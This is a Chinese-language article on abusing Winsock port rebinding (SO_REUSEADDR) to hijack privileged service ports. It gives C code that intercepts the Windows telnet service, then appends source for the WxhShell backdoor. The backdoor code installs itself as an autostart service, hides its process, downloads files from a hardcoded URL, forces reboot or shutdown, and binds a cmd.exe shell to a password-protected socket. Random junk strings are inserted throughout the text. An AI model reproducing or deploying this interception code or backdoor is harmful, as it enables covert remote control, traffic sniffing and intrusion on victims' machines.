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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N+b"LZc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v/8K?$"q =iRc& saddr.sin_family = AF_INET; kxhvy,t "X>Z!> saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0+;.T1? %D\TLY bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /Y:_qsO1 B y6: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9HRYk13ae _,NL;66=[ 这意味着什么?意味着可以进行如下的攻击: W*u Yb|0 "Hg.pDNZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :bW}*0b- ]Tf.KUm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ngu+V f 7y1V(t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^;c!)0Q<Z %@G<B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *@dRL3c^= 4kT| /bp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2hw3+o6 =YB3^Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BGodrb1 Y@TZReb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +0.$w bh6Mh<+ #include jWiB_8-6 #include =JOupw #include q3VE\&*^F #include {w(6Tc DWORD WINAPI ClientThread(LPVOID lpParam); 7cr+a4 T33 int main() T}$1<^NK { x7t<F4 WORD wVersionRequested; @GBS-iT3 DWORD ret; C"<l} WSADATA wsaData; }7g\1l\ BOOL val; I`t"Na2i SOCKADDR_IN saddr; 0LrTYrlj SOCKADDR_IN scaddr; pxM^|?Hxc int err; +yVz)
X SOCKET s; (JocnM|U SOCKET sc; x{Gb4=?l int caddsize; TRcY! HANDLE mt; C=h$8Q DWORD tid; -G(z!ed wVersionRequested = MAKEWORD( 2, 2 ); oS/<)>\Gv err = WSAStartup( wVersionRequested, &wsaData ); z62e4U][ if ( err != 0 ) { 'vhgR2/ printf("error!WSAStartup failed!\n"); Ua,Lg.z return -1; ]B:g<}5$4 } p;"pTGoWi saddr.sin_family = AF_INET; E&#AX: R4_4 FEo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w-AF5%gX m%+W{N4Wb saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8 %Lq~lk saddr.sin_port = htons(23);
*"P
:ySA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z(:0@ 5 { zn_ InxR printf("error!socket failed!\n"); AJiEyAC!)5 return -1; uPsn~>(4 } a/NmM) val = TRUE; u!k\W{ //SO_REUSEADDR选项就是可以实现端口重绑定的 S3MMyS8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G{knO?BK { KY! printf("error!setsockopt failed!\n"); sI@m"A return -1; Ib*l{cxN } s!9.o_k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 14]!LgH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !\}Dxt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]~U4; ]ch cRc[! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e/r41 { 6$4G&'J ret=GetLastError(); bVQLj}% printf("error!bind failed!\n"); Lf3Ri/@ p return -1; >O&(G0!N+} } *
Od_Cl listen(s,2); mK%!9F
V while(1) V);{o>%.K { [0lCb"
caddsize = sizeof(scaddr); 'D1
T"} //接受连接请求 N~;=*)_VH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2wlrei if(sc!=INVALID_SOCKET) !Z
YMks4 { f#ID:Ap3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =V5<>5"M? if(mt==NULL) U8c0N<j { E=Ah_zKU printf("Thread Creat Failed!\n"); ?uc=(J+6 break; )r~$N0\D } z[M LMf[c } TKx.`Cf
m CloseHandle(mt); 7ib~04 } _SY<(2s]B closesocket(s); Gx|$A+U WSACleanup(); jF<Y,(C\ return 0; rqxoqc Z } m>x.4aO1 DWORD WINAPI ClientThread(LPVOID lpParam) \;&j;"c,W { 54_CewL1P] SOCKET ss = (SOCKET)lpParam; =W.b7 6_ SOCKET sc; nC$f0r"z unsigned char buf[4096]; xlp^XT6# SOCKADDR_IN saddr; @N7X(@O long num; SZpBbX$ DWORD val; -N<s = DWORD ret; T6=c9f?7 //如果是隐藏端口应用的话,可以在此处加一些判断 .>zXz%p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 cWl saddr.sin_family = AF_INET; B# |w}hj saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LcoJltY{5 saddr.sin_port = htons(23); Om0Z\GP= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |g;hXr#~ { ?SK1*; i printf("error!socket failed!\n"); !>TVDN> return -1; b2aPo M= } "o*(i7T=n val = 100; \zR@FOl`q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q{ItTvL { {CG%$rh ret = GetLastError(); O]DZb+O" return -1; Zgkk%3'^' } "EQ`Q=8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cgNK67"( { x~j>Lvw L ret = GetLastError(); s]#D;i8 return -1; hk3}}jc } iBVV5 f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T6=, A }t- {
z2vrV?: printf("error!socket connect failed!\n"); OIGu`%~js closesocket(sc); 8L`J](y closesocket(ss); ts`c_hH,1' return -1; {f((x1{HZx } ^q-]."W]t~ while(1) q(p]6Ha| { fW~r%u
.y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4:.yE|@h[ //如果是嗅探内容的话,可以再此处进行内容分析和记录 {u{n b3/jl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U$Z)v1&{ num = recv(ss,buf,4096,0); mHrt)0\_ if(num>0) >'iXwe- send(sc,buf,num,0); L9M0vkgri else if(num==0) ;{[&&qMwU break; i+( k num = recv(sc,buf,4096,0); }dQW-U if(num>0) L:nZ_O; send(ss,buf,num,0); K'kWL[Ut! else if(num==0) .:A9*, break; =+%QfuK } S@*lI2 closesocket(ss); :V*c9,>ZO closesocket(sc); [~m@'/ return 0 ; "#\\p~D/< } :*u .=^ vnwS&;-k~ ,#W>E,UU ========================================================== 9dn~nnd'n Jz(wXp
下边附上一个代码,,WXhSHELL btoye \rl {&nL'R ========================================================== uDvZ]Q|. h)fJ2]JW8W #include "stdafx.h" 0}}b\!]9 xTiC[<j #include <stdio.h> f40 xS7-Q0 #include <string.h> ))- B`vi #include <windows.h> aMKi`EW #include <winsock2.h> eLWD?-v% #include <winsvc.h> }G}2Y ( #include <urlmon.h> LI1OocY.] i eQQ{iGJH #pragma comment (lib, "Ws2_32.lib") 2XI%z4\)! #pragma comment (lib, "urlmon.lib") UfIH!6Q qIIc>By(\" #define MAX_USER 100 // 最大客户端连接数 g\^7 Q #define BUF_SOCK 200 // sock buffer "i0{E!,XL #define KEY_BUFF 255 // 输入 buffer ,7-@eZ r#hA kOw #define REBOOT 0 // 重启 = i9|lU"Va #define SHUTDOWN 1 // 关机 (Qq;ySZ# P7np
-I* #define DEF_PORT 5000 // 监听端口 x8
: bwN>E+ #define REG_LEN 16 // 注册表键长度 fGS5{dti #define SVC_LEN 80 // NT服务名长度 p?F%a;V3 5q4sxY9T // 从dll定义API WX<),u2@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +)YU/41W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _]zm02| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z0|%h?N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'b(V8x KYBoGCS > // wxhshell配置信息 FbO\ #p s struct WSCFG { d h5% int ws_port; // 监听端口 /`$9H| char ws_passstr[REG_LEN]; // 口令 <4UF/G) int ws_autoins; // 安装标记, 1=yes 0=no H{qQ8j) char ws_regname[REG_LEN]; // 注册表键名 W
Cz+ char ws_svcname[REG_LEN]; // 服务名 ip.aM#
char ws_svcdisp[SVC_LEN]; // 服务显示名 R8ZI}C1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 En-BT0o char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T7+_/
Qh int ws_downexe; // 下载执行标记, 1=yes 0=no t$+[(}@+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Z
,4G'[d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 86+nFk bz$)@gLc }; N;N,5rxV 4FLL*LCNX // default Wxhshell configuration (NB\wJg
$ struct WSCFG wscfg={DEF_PORT, vu7F>{D "xuhuanlingzhe", vhsHyb 1, )/uu~9SFd "Wxhshell", v:.`~h/b "Wxhshell", MYI*0o; "WxhShell Service", -hv<8bC~4 "Wrsky Windows CmdShell Service", sUl/9VKl "Please Input Your Password: ", A_nu:K- 1, Z'/sZ3Q} " http://www.wrsky.com/wxhshell.exe", RC{|:@]8 "Wxhshell.exe" y*K]z }; .zDm{_' JSKAlw // 消息定义模块 +E5EOo{ `| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W[ZW=c char *msg_ws_prompt="\n\r? for help\n\r#>"; 2g'o5B\* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; /D@(o`a char *msg_ws_ext="\n\rExit."; )Pj8{.t4 char *msg_ws_end="\n\rQuit."; x,LQA0 char *msg_ws_boot="\n\rReboot..."; 0=g~ozEW& char *msg_ws_poff="\n\rShutdown..."; 67,@*cK3?J char *msg_ws_down="\n\rSave to "; `]*BDSvE 7l+>WB_] char *msg_ws_err="\n\rErr!"; d4(!9O.\ char *msg_ws_ok="\n\rOK!"; w+MCOAB w&U>w@H^ char ExeFile[MAX_PATH]; 4<c#3] int nUser = 0; ( q8uB HANDLE handles[MAX_USER]; qC|$0 int OsIsNt;
q,ur[ &< JIJ79HB SERVICE_STATUS serviceStatus; 0xZX%2E SERVICE_STATUS_HANDLE hServiceStatusHandle; 7R4xJ H -`d9dJ dB // 函数声明 \~ACWF7l int Install(void); uIeD.I'@{5 int Uninstall(void); XHX$Ur9 int DownloadFile(char *sURL, SOCKET wsh); y&F0IJ|`@M int Boot(int flag); :Ca]/ ]] void HideProc(void); ;_]Z3 int GetOsVer(void); e3YdHp int Wxhshell(SOCKET wsl); I{rW+<)QGC void TalkWithClient(void *cs); Wa {()Cz int CmdShell(SOCKET sock); 85fv] )\y int StartFromService(void); E
0k1yA int StartWxhshell(LPSTR lpCmdLine); WJXQM[ !`UHr]HJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .WeP]dX%:f VOID WINAPI NTServiceHandler( DWORD fdwControl ); %BV2 q
)'pc 1I // 数据结构和表定义 :f9O3QA SERVICE_TABLE_ENTRY DispatchTable[] = c+_F}2)
{ '5:P,1tWU {wscfg.ws_svcname, NTServiceMain}, heF<UMI {NULL, NULL} QAI!/bB }; vbn'CY]QU ~-dL #; // 自我安装 PNn-@=% int Install(void) 4R8W ot { +|SvJ char svExeFile[MAX_PATH]; +0)zB;~7 HKEY key; F~qiNV strcpy(svExeFile,ExeFile); R3`Rrj Z `% a+LU2 // 如果是win9x系统,修改注册表设为自启动 utJz e if(!OsIsNt) { Gb?O-z%8* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $IdY(f:.:5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Ko{#qbl/ RegCloseKey(key); >mWu+Nn: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n-%8RV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i*q!|^M RegCloseKey(key); c2$&pZ
M return 0; A&dNCB } MZ/PXY } `U~Y{f_!H } $AI0NM else { lMcSe8LBQa Dq~PxcnI // 如果是NT以上系统,安装为系统服务 xUG:x4Gz+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Z9v_qB if (schSCManager!=0) =z]8;<=pL { cdH Ug# SC_HANDLE schService = CreateService `6t3D&.u0 ( 1|PmZPKq9n schSCManager, /nX+*L}d/ wscfg.ws_svcname, |>Xw"]b; wscfg.ws_svcdisp, x>$!R\Cj SERVICE_ALL_ACCESS, YflotlT} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1V@\L|Y SERVICE_AUTO_START, E\%'/3o SERVICE_ERROR_NORMAL, INHN=KY{ svExeFile, 0lvX,78G ; NULL, VB?mr13}G NULL, +]!`> NULL, o`@B*, @ NULL, JW5SBt> NULL I8<s4q
); ElEa*70~g if (schService!=0) hVfiF { bnWKfz5 CloseServiceHandle(schService); `Al[gG?/! CloseServiceHandle(schSCManager); O>![IH(L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0M?nXHA[ strcat(svExeFile,wscfg.ws_svcname); kP6P/F|RcZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kZlRS^6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >v+ia%o RegCloseKey(key); \sy;ca)[6g return 0; Z~Mq5#3F } I)-u)P?2x } LqHeLN CloseServiceHandle(schSCManager); aoZ`C3 } ~'4:{xH } >:ZlYZ6sI Wv return 1; [|sKu#yW } mQ9%[U, \E'Nk$V3 // 自我卸载 Efb S*f5 int Uninstall(void) P7Th94 { WAj26";M( HKEY key; y %k`
'(/ZJ88JP if(!OsIsNt) { {d;eZt
` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,]N!I%SI RegDeleteValue(key,wscfg.ws_regname); SZ9xj^"g RegCloseKey(key); `;^% t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @UO=)PxN3 RegDeleteValue(key,wscfg.ws_regname); Z{ntF RegCloseKey(key); Cf_Ik return 0; aBM'ROQ } #"M 'Cs } C/P,W>8 } |U_48 else { S|A?z)I C { }s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4*UoTE-g$ if (schSCManager!=0) ifu"e_^ { l|-TGjsX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "9[K if (schService!=0) >4d2IO1\ { MwxfTH"wi if(DeleteService(schService)!=0) { Q<L.!%vu} CloseServiceHandle(schService); ,EgIH%*g CloseServiceHandle(schSCManager); {-rK:*yP'u return 0; ];P^q`n=. } Ih}I`wY- CloseServiceHandle(schService); JH~v e } HrA6wn\O CloseServiceHandle(schSCManager); hfY
Ieb#91 } ? OBe!NDf } ^i{B8]2, %*.;3;m return 1; ^g,[#Rh } (8s]2\/Ar r\Wp\LfY&{ // 从指定url下载文件 j$*]'s&_hZ int DownloadFile(char *sURL, SOCKET wsh) XM/P2=; { +a&-'`7g HRESULT hr; h^P>pI~ char seps[]= "/"; %PG::b char *token; *@Z/L26s;= char *file; `4cs.ab char myURL[MAX_PATH]; r'hr'wZ char myFILE[MAX_PATH]; #R|M(Z">q laM0W5 strcpy(myURL,sURL); g 1\4Jb token=strtok(myURL,seps); RB_7S!qC5 while(token!=NULL) gKg2Ntxj { 8w|j Z@ file=token; pBt/vS ad token=strtok(NULL,seps); l;L&ijTQD } ~(B\X?v p5C
sw5 GetCurrentDirectory(MAX_PATH,myFILE); ^(8 i``V strcat(myFILE, "\\"); &86kmFA strcat(myFILE, file); J
p .wg send(wsh,myFILE,strlen(myFILE),0); CF^7 {g(y_ send(wsh,"...",3,0); -8tWc]c
|4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q*A2>0O if(hr==S_OK) \%NhggS* return 0; @+} Q< else ) BTJs)E return 1; ]}9y>+> #;H,`r } QB@qzgEJ!, +byw*Kk // 系统电源模块 Z`"UT#^SI int Boot(int flag) ,ewg3mYHC& { G=3/PYp HANDLE hToken; dv%gmUUf}k TOKEN_PRIVILEGES tkp; ~GfcI:Zz& <uL?7P if(OsIsNt) { 7F`QN18>( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #'<I!G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h^>kjMM tkp.PrivilegeCount = 1; -p ) l63 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nl5K1!1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yQhrPw> m if(flag==REBOOT) { a-Cp"pKlVY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;FZ\PxN return 0; OP2!lEs } da!N0\.1T else { ru(Xeojv# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6kT
l(+ return 0; xbo-~{ } g$dL5N7 } Ph]e\ else { HcHfwLin0 if(flag==REBOOT) { %8$JL=c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^i-%FY_i5} return 0; \9se~tAl3 } jXi<ZJ else { ynM{hN.+ H if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z}C#+VhQ` return 0; 35RH|ci& } NfR, m] } 8+gx?pb 'xStA return 1; 7!oqn'#>A } =oT@h
9VI U]hQ#a+ // win9x进程隐藏模块 Ffj:xZ9rk void HideProc(void) r=L9x/r {
qR]4m]o B[4y(Im HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $'9r=#EH if ( hKernel != NULL ) DGHX:Ft# { 83i%3[L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gSR&CnqZ< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L{^DZg|E FreeLibrary(hKernel); pJa FPO..| } &%qD Som3 )r?i^D&4 return; \U !<- } 4N$svA .[2MPjg // 获取操作系统版本 FN,0&D}` int GetOsVer(void) 0A?w,A`" { a' #-%!] OSVERSIONINFO winfo; Q(]-\L' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &1Cq+YpI GetVersionEx(&winfo); d'[aOH4} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7=QV ^G return 1; D4'XBXmb else f!LZT! y return 0; crgYr$@s? } [b#jw,7
b1[U9 // 客户端句柄模块 'R]Z9h int Wxhshell(SOCKET wsl) +o'. !sRH { _hh|/4( SOCKET wsh; xo@N~ struct sockaddr_in client; w,}}mC)\* DWORD myID; n"FOCcTIs g+k6pi* while(nUser<MAX_USER) ejr"(m(Xe { cWRB=`=qz int nSize=sizeof(client); !+hX$_RT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )&R;!#;5 if(wsh==INVALID_SOCKET) return 1; ['R=@. hLm9"N'Pf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B. P64"w if(handles[nUser]==0) 6J|f^W-fs closesocket(wsh); mu{%%b7|^ else X2@o"xU nUser++; $}KYpSV } @{CpC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :>3&"T. U1q$B32 return 0; +:'Po.{" } nr-mf]W&
)<^ ~${$U // 关闭 socket ok6e=c ' void CloseIt(SOCKET wsh) :T{or- { /XMmE closesocket(wsh); GrQl3 Xi nUser--; 8V|-BP5^ ExitThread(0); zfo.S[R@ } _-!6@^+ >8JvnBFx= // 客户端请求句柄 .<NXk"\!y void TalkWithClient(void *cs) w`7l;7[ { =~0XdS/1 YD+C1*c! SOCKET wsh=(SOCKET)cs; O,OGq0c char pwd[SVC_LEN]; ;XtDz char cmd[KEY_BUFF]; ]cA~%$c89s char chr[1]; I9Sh~vTm=u int i,j; ~o2{Wn[" % qE#^ U while (nUser < MAX_USER) { ?x[>g!r X_YD[ if(wscfg.ws_passstr) { <bjy<98LT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .N'UnKz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q`s(T //ZeroMemory(pwd,KEY_BUFF); *
;M?R?+ i=0; )xK!i. while(i<SVC_LEN) { b,`\"'1 VuBp$H(U // 设置超时 mPD'" fd_set FdRead; uf>w* [m5 struct timeval TimeOut; @'rO=(-b FD_ZERO(&FdRead); % (.PRRI FD_SET(wsh,&FdRead); 3PEs$m9e TimeOut.tv_sec=8; }GC{~
SZ4 TimeOut.tv_usec=0; #rC/y0niH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \bsm#vY, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ibAA:I,d gU%GM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2?ednMoE pwd =chr[0]; >lj3MNSH if(chr[0]==0xd || chr[0]==0xa) { v6n(<0: pwd=0; T*ic?! break; c"$_V[m } -)Vj08aP i++; [<`+9R } Aa Ma9hvT! &p%c tg // 如果是非法用户,关闭 socket K@,VR3y / if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WE"'3u^k } ie,{C #Nd+X@j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2X]\:<[4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B>mQ\Q =@z"k'Vl` while(1) { h
P1|l #.='dSj ZeroMemory(cmd,KEY_BUFF); Xo5L:(?K i,HAXPi // 自动支持客户端 telnet标准 ,@;<u'1\G j=0; [y:LA~q while(j<KEY_BUFF) { \'KzSkC8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EAkP[au. cmd[j]=chr[0]; L!G3u/ if(chr[0]==0xa || chr[0]==0xd) { zN:752d^+r cmd[j]=0; Cf N; ` break; <>Im$N ai } 9e5UTJ j++; b2Hpuej } f1{ckHAY55 l*u@T|Fc$ // 下载文件 4jW{IGW if(strstr(cmd,"http://")) { *Tlv'E.M send(wsh,msg_ws_down,strlen(msg_ws_down),0); U_~~PCi if(DownloadFile(cmd,wsh)) f,#xicSB* send(wsh,msg_ws_err,strlen(msg_ws_err),0); E*l"uV else ;:4puv+] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '$zFGq
}} } hMQaT-v else { 0>`69&;g| smU+:~ switch(cmd[0]) { z)B=<4r S@#L!sT`u // 帮助 5-*]PAC case '?': { I}WJ0}R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v+G:,Tc" break; 5ZVTI,4K } vn<S" // 安装 +9X[gef8 case 'i': { LcXMOT)s if(Install()) Kf4z*5Veqr send(wsh,msg_ws_err,strlen(msg_ws_err),0); DbN'b(+ else -,dQ&Qf? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >`:+d'Jv0 break; /HRaX!|E# } )R4<*
/C:w // 卸载 wO#+8js case 'r': { l_c?q"X if(Uninstall()) YYHm0pc send(wsh,msg_ws_err,strlen(msg_ws_err),0); ThxrhQ
q[+ else P]B#i1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8=~>B@' break; Q6K)EwN } 5qy}~dQ // 显示 wxhshell 所在路径 eW0=m:6 case 'p': { x8Sq+BY char svExeFile[MAX_PATH]; :3f2^(b~^ strcpy(svExeFile,"\n\r"); j,XKu5w)Oi strcat(svExeFile,ExeFile); }H=OVbQor send(wsh,svExeFile,strlen(svExeFile),0); !U_L7 break; Kcl$|T } Bv8C_-lV/ // 重启 F6p1 VFs case 'b': { w>uZ$/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4:$>,D\ if(Boot(REBOOT)) _GqE'VX send(wsh,msg_ws_err,strlen(msg_ws_err),0); E6:p else { "zbE closesocket(wsh); : qRT9n$ ExitThread(0); .h,xBT`}Ji } KU,w9<~i( break; rzDJH:W{2 } 4&e@> // 关机 ?LI9F7n case 'd': { p8l#=]\; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L?x?+HPY. if(Boot(SHUTDOWN)) Z@!W?Ed send(wsh,msg_ws_err,strlen(msg_ws_err),0); : !3 y>bP) else { Nl`ry2"< closesocket(wsh); C4]%pi ExitThread(0); 2<Bv=B } vLv@ Mo break; Q/)ok$A& } f)Q]{ cb6 // 获取shell r z{ 'X d case 's': { ?(yFwR,( CmdShell(wsh); ]0 RX o3 closesocket(wsh); Hs=N0Sk]j ExitThread(0); tr8Cx~< break; +f!,K } F|TMpH/ // 退出 k &iDJt case 'x': { MdZgS#` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dM{~Ubb CloseIt(wsh); DA`sm break; #G` , } mo[<4Uks // 离开 2F@)nh case 'q': { xc.D!Iav send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9ox|.68q closesocket(wsh); '%C.([ WSACleanup(); 4UjE*Aq exit(1); Y>Hl0$:= break; uhB!k-ir } orH0M!OtS! } ApYud?0b } 6L9[U^`@ d`uO7jlm // 提示信息 v9m;vWp if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +\GZ(!~ } lk1Gs{(qhH } V9u\;5oL 9zYiG3 d return; T% 13 ' } -MU.Hu heZy
66 // shell模块句柄 7'i#!5 int CmdShell(SOCKET sock) 6\fMzm
{ RS `9?c: STARTUPINFO si; U
qw}4C/0 ZeroMemory(&si,sizeof(si)); 5}bZs` C si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D%UZ'bHN* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q|i%)V`)- PROCESS_INFORMATION ProcessInfo; $?J+dB char cmdline[]="cmd"; igBrmaY' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o 7W Kh= return 0; 4:&qTY)H } #z!Hb&Qi\ RB7AI!'a? // 自身启动模式 yISQYvSN int StartFromService(void) )|y2Q { L'XdX\5 typedef struct |F@xwfgb { xX/s1(P DWORD ExitStatus; hr4ye`c j DWORD PebBaseAddress; lI_Yb: DWORD AffinityMask; M'zS7=F!: DWORD BasePriority; 5 k%9>U%$ ULONG UniqueProcessId; S=H_9io ULONG InheritedFromUniqueProcessId; =lC;^&D-0/ } PROCESS_BASIC_INFORMATION; hMeqs+ h@;)dLo0z PROCNTQSIP NtQueryInformationProcess; 1i /::4= nt0\q'& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )R8%'X;U static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #3K,V8(
